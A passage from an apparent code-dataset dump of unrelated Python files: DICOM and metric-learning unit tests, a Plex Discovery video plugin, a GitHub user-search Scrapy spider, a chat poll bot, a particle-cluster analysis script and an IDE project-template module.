test_get_value(self):\n dcm_file = 'tests/testOutput/102_01_01_2010/1'\n with open(dcm_file, 'rb') as working_file:\n test_image = DicomImage(working_file)\n key = 'ManufacturerModelName'\n\n expected = 'MODEL'\n result = test_image.get_value(key)\n\n self.assertEqual(expected, result)\n\n def test_modify_item(self):\n dcm_file = 'tests/testOutput/102_01_01_2010/1'\n with open(dcm_file, 'rb') as working_file:\n test_image = DicomImage(working_file)\n key = 'Manufacturer'\n delete = False\n\n expected = 'TestValue'\n test_image.modify_item(key, expected, delete)\n # save the edited image in the output folder\n\n result = test_image.get_value(key)\n\n self.assertEqual(expected, result)\n\n def test_update_patient_id(self):\n id_update = {'102': '202'}\n dcm_file = 'tests/testInput/MRI/102_01_01_2010/1'\n with open(dcm_file, 'rb') as working_file:\n test_image = DicomImage(working_file)\n\n expected = '202'\n test_image.update_patient_id(id_update, self.log)\n result = test_image.get_patient_id()\n\n self.assertEqual(expected, result)\n\n def tearDown(self):\n shutil.rmtree('tests/testOutput/102_01_01_2010')\n\n\ndef make_config() -> dict:\n modifications = {\n # Commented terms should be skipped by clean_files\n # 'StudyDate': '',\n # 'Manufacturer': '',\n # 'SeriesDescription': '',\n # 'ManufacturersModelName': '',\n # 'PatientID': '',\n # 'StudyInstanceUID': '',\n # 'SeriesInstanceUID': '',\n # 'InstanceNumber': '',\n 'ReferringPhysicianName': '',\n 'PatientName': 'Anonymous',\n 'PatientBirthDate': '19010101',\n # 'MagneticFieldStrength': '',\n }\n return modifications\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/test_dicom_image.py","file_name":"test_dicom_image.py","file_ext":"py","file_size_in_byte":3325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"643385990","text":"TITLE = 'Discovery Networks'\nART = 'art-default.jpg'\nICON = 'icon-default.png'\n\nITEMS_PER_PAGE = 50\n\nHTTP_USER_AGENT = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17\"\n\nCHANNELS = [ \n {\n 'title': 'Discovery Channel',\n 'desc': 'Science, History, Space, Tech, Sharks, News!',\n 'id': 'Discovery',\n 'url': 'http://dsc.discovery.com',\n 'thumb': 'http://static.ddmcdn.com/en-us/dsc//images/default-still.jpg'\n },\n {\n 'title': 'Animal Planet',\n 'desc': 'Animal Planet lets you explore cat breeds, dog breeds, wild animals and pets.',\n 'id': 'apl',\n 'url': 'http://animal.discovery.com',\n 'thumb': 'http://static.ddmcdn.com/en-us/apl//images/default-still.jpg'\n },\n {\n 'title': 'Animal Planet LIVE',\n 'desc': 'Animal Planet LIVE, featuring live HD cams for chicks, puppies, ants, cockroaches, penguins, kittens and many more.',\n 'id': 'apltv',\n 'url': 'http://www.apl.tv',\n 'thumb': 'http://static.ddmcdn.com/en-us/apltv/img/body-bg-2.jpg'\n },\n {\n 'title': 'TLC',\n 'desc': 'TLC TV network opens doors to extraordinary lives.',\n 'id': 'tlc',\n 'url': 'http://www.tlc.com',\n 'thumb': 'http://static.ddmcdn.com/en-us/tlc//images/default-still.jpg'\n },\n {\n 'title': 'Investigation Discovery',\n 'desc': 'Hollywood crimes, murder and forensic investigations. Investigation Discovery gives you insight into true stories that piece together puzzles of human nature.',\n 'id': 'investigation+discovery',\n 'url': 'http://investigation.discovery.com',\n 'thumb': 'http://static.ddmcdn.com/en-us/ids//images/default-still.jpg'\n },\n {\n 'title': 'Science Channel',\n 'desc': 'Science Channel video and news explores wormholes, outer space, engineering, cutting-edge tech, and the latest on your favorite SCI programs!',\n 'id': 'science',\n 'url': 'http://science.discovery.com',\n 'thumb': 'http://static.ddmcdn.com/en-us/sci//images/default-still.jpg'\n },\n {\n 'title': 'Destination America',\n 'desc': 'Destination America.',\n 'id': 'dam',\n 'url': 'http://america.discovery.com',\n 'thumb': 'http://static.ddmcdn.com/en-us/dam//images/default-still.jpg'\n },\n {\n 'title': 'Military Channel',\n 'desc': 'Every weapon, war, soldier and branch of U.S. Defense has a story to be heard. Watch Military Channel video to meet the soldiers and hear the stories.',\n 'id': 'military',\n 'url': 'http://military.discovery.com',\n 'thumb': 'http://static.ddmcdn.com/en-us/mil//images/default-still.jpg'\n },\n {\n 'title': 'Velocity',\n 'desc': 'Get ready for Velocity! Velocity brings the best of car programming with diverse new original series and specials.',\n 'id': 'velocity',\n 'url': 'http://velocity.discovery.com',\n 'thumb': 'http://static.ddmcdn.com/en-us/vel//images/default-still.jpg'\n }\n]\n\n##########################################################################################\ndef Start():\n Plugin.AddViewGroup(\"List\", viewMode=\"List\", mediaType=\"items\")\n Plugin.AddViewGroup(\"InfoList\", viewMode=\"InfoList\", mediaType=\"items\")\n\n # Setup the default attributes for the ObjectContainer\n ObjectContainer.title1 = TITLE\n ObjectContainer.view_group = \"List\"\n ObjectContainer.art = R(ART)\n\n # Setup the default attributes for the other objects\n DirectoryObject.thumb = R(ICON)\n DirectoryObject.art = R(ART)\n EpisodeObject.thumb = R(ICON)\n EpisodeObject.art = R(ART)\n\n HTTP.CacheTime = CACHE_1HOUR\n HTTP.Headers['User-agent'] = HTTP_USER_AGENT\n\n##########################################################################################\n@handler('/video/discovery', TITLE, art = ART, thumb = ICON)\ndef MainMenu():\n oc = ObjectContainer()\n \n # Add all channels\n for channel in CHANNELS:\n if channel[\"title\"] == 'Animal Planet LIVE':\n oc.add(\n DirectoryObject(\n key = Callback(\n LiveStreams, \n title = channel[\"title\"], \n url = channel[\"url\"],\n thumb = channel[\"thumb\"]), \n title = channel[\"title\"],\n summary = channel[\"desc\"],\n thumb = channel[\"thumb\"]\n )\n )\n else:\n oc.add(\n DirectoryObject(\n key = Callback(\n ShowsChoice, \n title = channel[\"title\"], \n url = channel[\"url\"],\n id = channel[\"id\"],\n thumb = channel[\"thumb\"]), \n title = channel[\"title\"],\n summary = channel[\"desc\"],\n thumb = channel[\"thumb\"]\n )\n ) \n \n return oc\n\n##########################################################################################\n@route(\"/video/discovery/ShowsChoice\")\ndef ShowsChoice(title, url, id, thumb):\n oc = ObjectContainer(title1 = title)\n \n fullEpisodesURL = url + \"/services/taxonomy/\" + id + \"/?feedGroup=video&filter=fullepisode&num=200\"\n pageElement = HTML.ElementFromURL(fullEpisodesURL)\n \n if GetTotalEpisodes(pageElement) > 0:\n oc.add(\n DirectoryObject(\n key = Callback(\n Shows, \n title = title,\n url = url,\n thumb = thumb,\n fullEpisodesOnly = True,\n fullEpisodesURL = fullEpisodesURL), \n title = \"Shows With Full Episodes\", \n thumb = thumb\n )\n ) \n\n oc.add(\n DirectoryObject(\n key = Callback(\n Shows, \n title = title,\n url = url,\n thumb = thumb,\n fullEpisodesOnly = False), \n title = \"All Shows\", \n thumb = thumb\n )\n )\n \n return oc\n \n else:\n oc.add(\n DirectoryObject(\n key = Callback(\n Shows, \n title = title,\n url = url,\n thumb = thumb,\n fullEpisodesOnly = False), \n title = \"All Shows (clips only)\", \n thumb = thumb\n )\n ) \n \n return oc\n \n##########################################################################################\n@route(\"/video/discovery/Shows\", fullEpisodesOnly = bool)\ndef Shows(title, url, thumb, fullEpisodesOnly, fullEpisodesURL = None):\n oc = ObjectContainer(title1 = title)\n \n # Add shows by parsing the site\n shows = []\n showNames = []\n pageElement = HTML.ElementFromURL(url + \"/videos\")\n \n for item in pageElement.xpath(\"//*[@class = 'show-badge']\"):\n showUrl = item.xpath(\".//a/@href\")[0]\n \n if not showUrl:\n continue\n \n if not 'tv-shows/' in showUrl:\n continue\n\n show = {}\n \n if showUrl.startswith(\"http\"):\n show[\"url\"] = showUrl\n else:\n if not showUrl.startswith(\"/\"):\n showUrl = \"/\" + showUrl\n \n show[\"url\"] = url + showUrl\n\n show[\"img\"] = item.xpath(\".//img/@src\")[0]\n show[\"name\"] = ExtractNameFromURL(show[\"url\"])\n \n if fullEpisodesOnly:\n fullEpisodesElement = HTML.ElementFromURL(fullEpisodesURL)\n if not ShowInFullEpisodesList(fullEpisodesElement, show[\"name\"]):\n continue\n \n if not show[\"name\"] in showNames:\n showNames.append(show[\"name\"])\n shows.append(show)\n\n sortedShows = sorted(shows, key=lambda show: show[\"name\"])\n for show in sortedShows:\n oc.add(\n DirectoryObject(\n key = Callback(\n VideosChoice, \n title = show[\"name\"],\n base_url = url, \n url = show[\"url\"], \n thumb = show[\"img\"]), \n title = show[\"name\"],\n thumb = show[\"img\"]\n )\n )\n \n if len(oc) < 1:\n oc.header = \"Sorry\"\n oc.message = \"No shows found.\"\n \n return oc\n\n##########################################################################################\n@route(\"/video/discovery/VideosChoice\")\ndef VideosChoice(title, base_url, url, thumb):\n oc = ObjectContainer(title1 = title)\n \n pageElement = HTML.ElementFromURL(url)\n \n try:\n serviceURI = pageElement.xpath(\"//section[contains(@id, 'all-videos')]//div/@data-service-uri\")[0]\n pageElement = HTML.ElementFromURL(base_url + serviceURI + '?num=1&page=0&filter=fullepisode')\n except:\n try:\n # The serviceURI couldn't be retrieved\n # Known shows with this error:\n # - Backyard Oil\n # - Overhaulin when viewed from Discovery Channel(this is in fact a show in Velocity)\n serviceURI = \"/services/taxonomy/\" + title.replace(\" \", \"+\")\n \n if 'Overhaulin' in title:\n serviceURI = serviceURI + \"'/\"\n \n pageElement = HTML.ElementFromURL(base_url + serviceURI + '?num=1&page=0&filter=fullepisode')\n except:\n Log.Warn(\"Show without valid service url or no videos yet: \" + title)\n oc.header = \"Sorry\"\n oc.message = \"No videos found.\"\n return oc\n \n if GetTotalEpisodes(pageElement) > 0:\n oc.add(\n DirectoryObject(\n key = Callback(\n Videos, \n title = title,\n base_url = base_url, \n url = url,\n serviceURI = serviceURI, \n thumb = thumb,\n episodeReq = True), \n title = \"Full Episodes\", \n thumb = thumb\n )\n ) \n\n oc.add(\n DirectoryObject(\n key = Callback(\n Videos, \n title = title,\n base_url = base_url, \n url = url,\n serviceURI = serviceURI,\n thumb = thumb,\n episodeReq = False), \n title = \"Clips\", \n thumb = thumb\n )\n )\n \n return oc\n else:\n return Videos(\n title = title,\n base_url = base_url, \n url = url,\n serviceURI = serviceURI,\n thumb = thumb,\n episodeReq = False)\n\n##########################################################################################\n@route(\"/video/discovery/Videos\", episodeReq = bool, page = int)\ndef Videos(title, base_url, url, serviceURI, thumb, episodeReq, page = 0):\n oc = ObjectContainer(title1 = title)\n oc.view_group = \"InfoList\"\n \n if episodeReq:\n optionString = \"fullepisode\"\n else:\n optionString = \"clip\"\n \n pageElement = HTML.ElementFromURL(base_url + serviceURI + '?num=' + str(ITEMS_PER_PAGE) + '&page=' + str(page) + '&filter=' + optionString + '&sort=date&order=desc&feedGroup=video&tpl=dds%2Fmodules%2Fvideo%2Fall_assets_list.html')\n\n for item in pageElement.xpath(\"//tr\"):\n test = item.xpath(\".//td\")\n if len(test) < 1:\n continue\n \n videoUrl = item.xpath(\".//a/@href\")[0]\n \n if not videoUrl.startswith(\"http\"):\n videoUrl = base_url + videoUrl\n\n video = {} \n video[\"url\"] = videoUrl\n \n try:\n video[\"img\"] = item.xpath(\".//a//img/@src\")[0]\n except:\n video[\"img\"] = None\n \n try:\n video[\"name\"] = item.xpath(\".//h4//a/text()\")[0]\n except:\n video[\"name\"] = None\n \n try:\n video[\"summary\"] = item.xpath(\".//p/text()\")[0]\n except:\n video[\"summary\"] = None\n \n try:\n video[\"show\"] = item.xpath(\".//h5/text()\")[0]\n except:\n video[\"show\"] = None\n \n try:\n video[\"date\"] = Datetime.ParseDate(item.xpath(\".//div[contains(@class, 'date')]/text()\")[0]).date()\n except:\n video[\"date\"] = None\n \n try:\n length = item.xpath(\".//div[contains(@class, 'length')]/text()\")[0]\n (minutes, seconds) = length.split(\":\")\n video[\"duration\"] = (int(minutes) * 60 + int(seconds)) * 1000\n except:\n video[\"duration\"] = None\n \n oc.add(\n EpisodeObject(\n url = video[\"url\"],\n title = video[\"name\"],\n show = video[\"show\"],\n summary = video[\"summary\"],\n thumb = video[\"img\"],\n originally_available_at = video[\"date\"],\n duration = video[\"duration\"]\n )\n ) \n \n if len(oc) >= ITEMS_PER_PAGE:\n for item in pageElement.xpath(\"//div[contains(@class, 'pagination')]//ul//li\"):\n try:\n if item.xpath(\".//a/@href\")[0]: \n oc.add(\n NextPageObject(\n key = Callback(\n Videos, \n title = title, \n base_url = base_url, \n url = url,\n serviceURI = serviceURI,\n thumb = thumb,\n episodeReq = episodeReq,\n page = page + 1), \n title = \"More ...\")\n )\n return oc\n except:\n pass\n \n return oc\n\n##########################################################################################\n@route(\"/video/discovery/LiveStreams\")\ndef LiveStreams(title, url, thumb):\n oc = ObjectContainer(title1 = title)\n oc.view_group = \"InfoList\"\n \n pageElement = HTML.ElementFromURL(url)\n\n for item in pageElement.xpath(\"//div[contains(@class, 'slider')]//div\"):\n test = item.xpath(\".//td\")\n \n video = {} \n video[\"url\"] = item.xpath(\".//a/@href\")[0]\n \n try:\n video[\"img\"] = item.xpath(\".//a//img/@src\")[0]\n except:\n video[\"img\"] = None\n \n try:\n video[\"name\"] = item.xpath(\".//h3/text()\")[0]\n except:\n video[\"name\"] = None\n\n oc.add(\n EpisodeObject(\n url = video[\"url\"],\n title = video[\"name\"],\n thumb = video[\"img\"]\n )\n ) \n \n return oc\n\n##########################################################################################\ndef GetTotalEpisodes(pageElement):\n totalFullEpisodes = 0\n \n for item in pageElement.xpath(\"//ul//li/text()\"):\n if 'total' in item.lower():\n m = Regex('.*total *: *([0-9]+).*', Regex.IGNORECASE|Regex.MULTILINE).search(item)\n if m is not None:\n totalFullEpisodes = int(m.groups()[0])\n break\n \n return totalFullEpisodes\n\n########################################################################################## \ndef ShowInFullEpisodesList(pageElement, showName):\n for item in pageElement.xpath(\"//ul//li/text()\"):\n if 'title' in item.lower():\n if showName.lower() in item.lower():\n return True\n \n return False\n\n##########################################################################################\ndef ExtractNameFromURL(url):\n if url.endswith(\"/\"):\n url = url[:-1]\n if url.endswith(\"/videos\"):\n url = url[:url.find(\"/videos\")]\n url = url[url.rfind(\"/\") + 1:]\n if \".htm\" in url:\n url = url[:url.find(\".htm\")]\n if \"-videos\" in url:\n url = url.replace(\"-videos\", \"\")\n return url.replace(\"-\", \" \").title()\n","sub_path":"Contents/Code/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":16999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"338274454","text":"import unittest\nimport torch\nfrom pytorch_metric_learning.losses import NTXentLoss\nfrom pytorch_metric_learning.utils import common_functions as c_f\n\nclass TestNTXentLoss(unittest.TestCase):\n def test_ntxent_loss(self):\n temperature = 0.1\n loss_func = NTXentLoss(temperature=temperature)\n\n embedding_angles = [0, 20, 40, 60, 80]\n embeddings = torch.tensor([c_f.angle_to_coord(a) for a in embedding_angles], requires_grad=True, dtype=torch.float) #2D embeddings\n labels = torch.LongTensor([0, 0, 1, 1, 2])\n\n loss = loss_func(embeddings, labels)\n loss.backward()\n\n pos_pairs = [(0,1), (1,0), (2,3), (3,2)]\n neg_pairs = [(0,2), (0,3), (0,4), (1,2), (1,3), (1,4), (2,0), (2,1), (2,4), (3,0), (3,1), (3,4), (4,0), (4,1), (4,2), (4,3)]\n\n total_loss = 0\n for a1,p in pos_pairs:\n anchor, positive = embeddings[a1], embeddings[p]\n numerator = torch.exp(torch.matmul(anchor, positive)/temperature)\n denominator = numerator.clone()\n for a2,n in neg_pairs:\n if a2 == a1:\n negative = embeddings[n]\n else:\n continue\n denominator += torch.exp(torch.matmul(anchor, negative)/temperature)\n curr_loss = -torch.log(numerator/denominator)\n total_loss += curr_loss\n \n total_loss /= len(pos_pairs)\n self.assertTrue(torch.isclose(loss, total_loss))\n\n\n def test_with_no_valid_pairs(self):\n loss = NTXentLoss(temperature=0.1)\n embedding_angles = [0]\n embeddings = torch.tensor([c_f.angle_to_coord(a) for a in embedding_angles], requires_grad=True, dtype=torch.float) #2D embeddings\n labels = torch.LongTensor([0])\n loss = loss(embeddings, labels)\n loss.backward()\n self.assertEqual(loss, 0)\n","sub_path":"tests/losses/test_ntxent_loss.py","file_name":"test_ntxent_loss.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"478653821","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom github.items import GithubItem\n\n# from scrapy.contrib.loader import ItemLoader\n# from scrapy.contrib.loader.processor import MapCompose, TakeFirst\n# from urlparse import urljoin\n\n# class GithubLoader(ItemLoader):\n# default_input_processor = MapCompose(unicode.strip)\n# default_output_processor = TakeFirst()\n\nclass GitusersSpider(scrapy.Spider):\n name = \"gitusers\"\n allowed_domains = [\"github.com\"]\n start_urls = (\n 'https://github.com/search?utf8=%E2%9C%93&q=location%3APhilippines+language%3ARails&type=Users&ref=searchresults',\n )\n\n def parse(self, response):\n users = response.xpath('//*[@id=\"user_search_results\"]/div[1]/div[@class=\"user-list-item\"]')\n for user in users:\n item = GithubItem()\n item['name'] = user.xpath('div[@class=\"user-list-info\"]/a/text()').extract()[0]\n item['homepage'] = user.xpath('div[@class=\"user-list-info\"]/a/@href').extract()[0]\n item['logo'] = user.xpath('a/img/@src').extract()[0]\n item['email'] = user.xpath('div[@class=\"user-list-info\"]/ul/li/span/a/@href').extract()[0]\n yield item\n\n # def parse(self, response):\n # for x in response.xpath(\"//table[@class='col2_table_listing']//a/@href\").extract():\n # yield scrapy.Request(urljoin(response.url, x), self.parse_company)\n\n # def parse_company(self, response):\n # l = CompanyLoader(item=Company(), response=response)\n # l.add_xpath(\"logo\", \"//div[@id='company_logo']//img/@src\")\n # l.add_xpath(\"name\", \"//h1[@class='h1_first']/text()\")\n # l.add_xpath(\"website\", \"(//td[@class='td_right']/a/@href)[1]\")\n # return l.load_item()\n\n","sub_path":"python/github/build/lib/github/spiders/gitusers.py","file_name":"gitusers.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"502436474","text":"from app.utils import helper\nfrom app.receiver.receiver import Receiver\nfrom app.receiver import receiver\nfrom app.mac import mac\nfrom app.poll.voter import Voter\n\nidentifiers = [\"0⃣\", \"1⃣\", \"2⃣\", \"3⃣\", \"4⃣\", \"5⃣\", \"6⃣\", \"7⃣\", \"8⃣\", \"9⃣\", \"🔟\"]\nclass PollKing(Receiver):\n def __init__(self, instance, conversation, creator, predicate):\n self.instance = instance\n self.predicate = predicate\n self.voters = []\n self.identifier = \"__global__\"\n self.title = self.make_title(predicate)\n self.candidates = self.make_candidates(predicate)\n \n # Finish poll if user already has one in this conversation\n finish_my_poll(instance, creator, conversation)\n Receiver.__init__(self, self.identifier, conversation, creator, self.handle_answer)\n \n def make_title(self, predicate):\n args = [x.strip() for x in predicate.split(',')]\n # If no args\n if len(args) <= 0:\n mac.send_message(self.instance, \"_Argumentos invalidos_\", self.conversation)\n return\n else:\n return args[0]\n \n def make_candidates(self, predicate):\n # args = , ...\n args = [x.strip() for x in predicate.split(',')]\n \n # If no args\n if len(args) <= 0:\n mac.send_message(self.instance, \"_Argumentos invalidos_\", self.conversation)\n return\n \n # Valid args:\n if len(args) > 1:\n candidates = []\n for candidate in args[1:]:\n candidates.append(candidate)\n \n return candidates\n else:\n return None\n\n def handle_answer(self, message_entity=None):\n if message_entity is not None:\n if self.should_handle(message_entity):\n print(\"Got vote\")\n \n def should_handle(self, message_entity):\n message = message_entity.getBody()\n if message in identifiers:\n return True\n else:\n return False\n \n def send_poll(self):\n answer = \"*\" + self.title + \"*\"\n number = 1\n for candidate in self.candidates:\n answer += \"\\n\"\n answer += get_unicode_number(number)\n answer += \" \" + candidate\n number += 1\n \n mac.send_message(self.instance, answer, self.conversation)\n \n def is_creator(self, creator):\n return self.creator == creator\n \n def is_conversation(self, conversation):\n return self.conversation == conversation\n \n def voters_string(self):\n answer = \"\"\n for voter in self.voters:\n answer += \"\\n+ \" + voter.who_name\n \n return answer\n \n\ndef get_unicode_number(number):\n return identifiers[number]\n\ndef finish_my_poll(self, creator, conversation):\n poll = poll_from_user_conversation(creator, conversation)\n if poll:\n message = \"*\" + poll.title + \":*\\n\"\n message += \"Total: \" + str(len(poll.voters))\n message += poll.voters_string()\n mac.send_message(self, message, poll.conversation)\n poll.destroy()\n\n\ndef poll_from_user_conversation(creator, conversation):\n for poll in receiver.receivers:\n if is_PollKing(poll):\n if poll.is_creator(creator):\n if poll.is_conversation(conversation):\n return poll\n\n return None\n \n \ndef user_has_poll(creator, conversation):\n for poll in receiver.receivers:\n if poll.is_creator(creator):\n if poll.is_conversation(conversation):\n return True\n \n return False\n\ndef is_PollKing(obj):\n return type(obj) is PollKing\n","sub_path":"app/poll2/poll2.py","file_name":"poll2.py","file_ext":"py","file_size_in_byte":3750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"434723663","text":"import sys\n\n# Run locally\nsys.path.append('/Users/kolbt/Desktop/compiled/hoomd-blue/build')\nsys.path.append('/Users/kolbt/Desktop/compiled/gsd/build')\n# Run on the cpu\nsys.path.append('/nas/longleaf/home/kolbt/programs/cpu-hoomd/hoomd-blue/build')\n# Run on the gpu\nsys.path.append('/nas/longleaf/home/kolbt/programs/hoomd_2.2.1/hoomd-blue/build')\nsys.path.append('/nas/longleaf/home/kolbt/programs/gsd/build')\n\nimport gsd\nfrom gsd import hoomd\nfrom gsd import pygsd\n\nimport freud\nfrom freud import parallel\nfrom freud import box\nfrom freud import density\nfrom freud import cluster\n\nimport numpy as np\nimport math\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\ndef computeTauPerTstep(epsilon, mindt=0.000001):\n '''Read in epsilon, output tauBrownian per timestep'''\n if epsilon != 1.:\n mindt=0.00001\n kBT = 1.0\n tstepPerTau = float(epsilon / (kBT * mindt))\n return 1. / tstepPerTau\n \n# Get infile and open\ninFile = str(sys.argv[1])\nf = hoomd.open(name=inFile, mode='rb')\n# Inside and outside activity from command line\npeA = int(sys.argv[2])\npeB = int(sys.argv[3])\nparFrac = int(sys.argv[4])\neps = float(sys.argv[5])\ntry:\n phi = float(sys.argv[6])\n intPhi = int(phi)\n phi /= 100.\nexcept:\n phi = 0.6\n intPhi = 60\n\n# Outfile to write data to\ntxtFile = 'MCS_pa' + str(peA) +\\\n '_pb' + str(peB) +\\\n '_xa' + str(parFrac) +\\\n '_phi' + str(intPhi) +\\\n '.txt'\n# Write file headings\ng = open(txtFile, 'w')\ng.write('Timestep'.center(10) + ' ' +\\\n 'N_clusts'.center(10) + ' ' +\\\n 'all_parts'.center(10) + ' ' +\\\n 'thr_clusts'.center(10) + ' ' +\\\n 'thr_parts'.center(10) + ' ' +\\\n 'thr_c1000'.center(10) + ' ' +\\\n 'thr_p1000'.center(10) + '\\n')\ng.close()\n\nstart = 0 # first frame to process\ndumps = int(f.__len__()) # get number of timesteps dumped\nend = dumps # final frame to process\n\nbox_data = np.zeros((1), dtype=np.ndarray) # box dimension holder\nr_cut = 2**(1./6.) # potential cutoff\ntauPerDT = computeTauPerTstep(epsilon=eps) # brownian time per timestep\nmin_size = 20\nthresh_large = 1000\n\nwith hoomd.open(name=inFile, mode='rb') as t:\n snap = t[0]\n first_tstep = snap.configuration.step\n box_data = snap.configuration.box\n l_box = box_data[0]\n typ = snap.particles.typeid\n partNum = len(typ)\n # Set up cluster computation using box\n f_box = box.Box(Lx=l_box, Ly=l_box, is2D=True)\n my_clust = cluster.Cluster()\n c_props = cluster.ClusterProperties()\n \n # Loop through each timestep\n for j in range(start, end):\n snap = t[j]\n # Easier accessors\n pos = snap.particles.position # position\n pos[:,-1] = 0.0\n xy = np.delete(pos, 2, 1)\n typ = snap.particles.typeid # type\n tst = snap.configuration.step # timestep\n tst -= first_tstep # normalize by first timestep\n tst *= tauPerDT # convert to Brownian time\n \n # Compute clusters for this timestep\n system = freud.AABBQuery(f_box, pos)\n my_clust.compute(system, neighbors={'r_max': 1.005})\n ids = my_clust.cluster_idx # get id of each cluster\n c_props.compute(system, ids) # find cluster properties\n clust_size = c_props.sizes # find cluster sizes\n \n nClusts = len(clust_size)\n nClustThr = 0\n tot_clust = 0\n nC1000 = 0\n nP1000 = 0\n for k in range(0, nClusts):\n if clust_size[k] > min_size:\n nClustThr += 1\n tot_clust += clust_size[k]\n if clust_size[k] > thresh_large:\n nC1000 += 1\n nP1000 += clust_size[k]\n \n g = open(txtFile, 'a')\n g.write('{0:.1f}'.format(tst).center(10) + ' ' +\\\n str(nClusts).center(10) + ' ' +\\\n str(partNum).center(10) + ' ' +\\\n str(nClustThr).center(10) + ' ' +\\\n str(tot_clust).center(10) + ' ' +\\\n str(nC1000).center(10) + ' ' +\\\n str(nP1000).center(10) + '\\n')\n g.close()\n \n \n \n \n","sub_path":"post_proc/computeMCS.py","file_name":"computeMCS.py","file_ext":"py","file_size_in_byte":4325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"425407637","text":"# -*- coding: utf-8 -*-\r\n#-------------------------------------------------------------------------------\r\n# Name: editor.py\r\n# Purpose:\r\n#\r\n# Author: wukan\r\n#\r\n# Created: 2019-02-15\r\n# Copyright: (c) wukan 2019\r\n# Licence: GPL-3.0\r\n#-------------------------------------------------------------------------------\r\nfrom noval import _,GetApp\r\nfrom tkinter import messagebox\r\nfrom noval.project.baseviewer import *\r\nimport tkinter as tk\r\nfrom tkinter import ttk\r\nimport noval.consts as consts\r\nimport noval.ttkwidgets.linklabel as linklabel\r\nimport noval.python.interpreter.interpretermanager as interpretermanager\r\nfrom noval.python.project.runconfig import PythonNewProjectConfiguration,PythonRunconfig\r\nimport os\r\nimport noval.python.parser.utils as dirutils\r\nimport noval.project.command as command\r\nfrom noval.project.templatemanager import ProjectTemplateManager\r\nimport noval.iface as iface\r\nimport noval.plugin as plugin\r\nimport noval.ui_common as ui_common\r\nimport noval.ui_utils as ui_utils\r\nimport noval.project.variables as variablesutils\r\nfrom noval.project.document import ProjectDocument\r\nimport noval.imageutils as imageutils\r\n \r\nclass PythonProjectTemplate(ProjectTemplate):\r\n \r\n def CreateDocument(self, path, flags):\r\n return ProjectTemplate.CreateDocument(self,path,flags,wizard_cls=NewPythonProjectWizard)\r\n \r\n def GetPropertiPages(self):\r\n return [\r\n (\"Resource\",\"root\",\"noval.project.resource.ResourcePanel\"),\r\n (\"Debug/Run\",\"root\",\"noval.python.project.pages.debugrun.DebugRunPanel\"),\r\n (\"PythonPath\",\"root\",\"noval.python.project.pages.pythonpath.PythonPathPanel\"),\r\n (\"Interpreter\",\"root\",\"noval.python.project.pages.pythoninterpreter.PythonInterpreterPanel\"),\r\n (\"Project References\",\"root\",\"noval.python.project.pages.projectreferrence.ProjectReferrencePanel\"),\r\n (\"Resource\",\"file\",\"noval.project.resource.ResourcePanel\"),\r\n (\"Debug/Run\",\"file\",\"noval.python.project.pages.debugrun.DebugRunPanel\"),\r\n (\"Resource\",\"folder\",\"noval.project.resource.ResourcePanel\"),\r\n (\"Debug/Run\",\"folder\",\"noval.python.project.pages.debugrun.DebugRunPanel\")\r\n ]\r\n\r\n def GetRunconfigClass(self):\r\n return \"noval.python.project.runconfig.PythonRunconfig\"\r\n \r\n\r\n @staticmethod\r\n def CreateProjectTemplate():\r\n projectTemplate = PythonProjectTemplate(GetApp().GetDocumentManager(),\r\n _(\"Project File\"),\r\n \"*%s\" % consts.PROJECT_EXTENSION,\r\n os.getcwd(),\r\n consts.PROJECT_EXTENSION,\r\n \"Project Document\",\r\n _(\"Project Viewer\"),\r\n GetApp().project_document_class,\r\n PythonProjectView,\r\n icon = imageutils.getProjectIcon())\r\n GetApp().GetDocumentManager().AssociateTemplate(projectTemplate)\r\n return projectTemplate\r\n\r\nclass NewPythonProjectWizard(NewProjectWizard):\r\n def LoadDefaultProjectTemplates(self):\r\n '''\r\n 这里不能加载默认模板了,已经通过默认插件加载了对应的模板\r\n '''\r\n pass\r\n \r\n\r\nclass BasePythonProjectNameLocationPage(ProjectNameLocationPage):\r\n def __init__(self,master,**kwargs):\r\n ProjectNameLocationPage.__init__(self,master,**kwargs)\r\n\r\n def CreateNamePage(self,content_frame):\r\n name_frame = ProjectNameLocationPage.CreateNamePage(self,content_frame)\r\n self.interpreter_label = ttk.Label(name_frame, text=_(\"Interpreter:\"))\r\n self.interpreter_label.grid(column=0, row=2, sticky=\"nsew\")\r\n self.interpreter_entry_var = tk.StringVar()\r\n self.interpreter_combo = ttk.Combobox(name_frame, textvariable=self.interpreter_entry_var)\r\n names = interpretermanager.InterpreterManager().GetInterpreterNames()\r\n self.interpreter_combo.grid(column=1, row=2, sticky=\"nsew\",padx=(consts.DEFAUT_HALF_CONTRL_PAD_X,0),pady=(consts.DEFAUT_CONTRL_PAD_Y, 0))\r\n self.interpreter_combo.state(['readonly'])\r\n self.interpreter_combo['values'] = names\r\n if len(names) > 0:\r\n self.interpreter_combo.current(0)\r\n \r\n link_label = linklabel.LinkLabel(name_frame,text=_(\"Configuration\"),normal_color='royal blue',hover_color='blue',clicked_color='purple')\r\n link_label.bind(\"\", self.OpenInterpreterConfiguration)\r\n link_label.grid(column=2, row=2, sticky=\"nsew\",padx=(consts.DEFAUT_HALF_CONTRL_PAD_X,0),pady=(consts.DEFAUT_CONTRL_PAD_Y, 0))\r\n \r\n def OpenInterpreterConfiguration(self,*args):\r\n ui_common.ShowInterpreterConfigurationPage()\r\n \r\n def GetNewPojectConfiguration(self):\r\n return PythonNewProjectConfiguration(self.name_var.get(),self.dir_entry_var.get(),\\\r\n 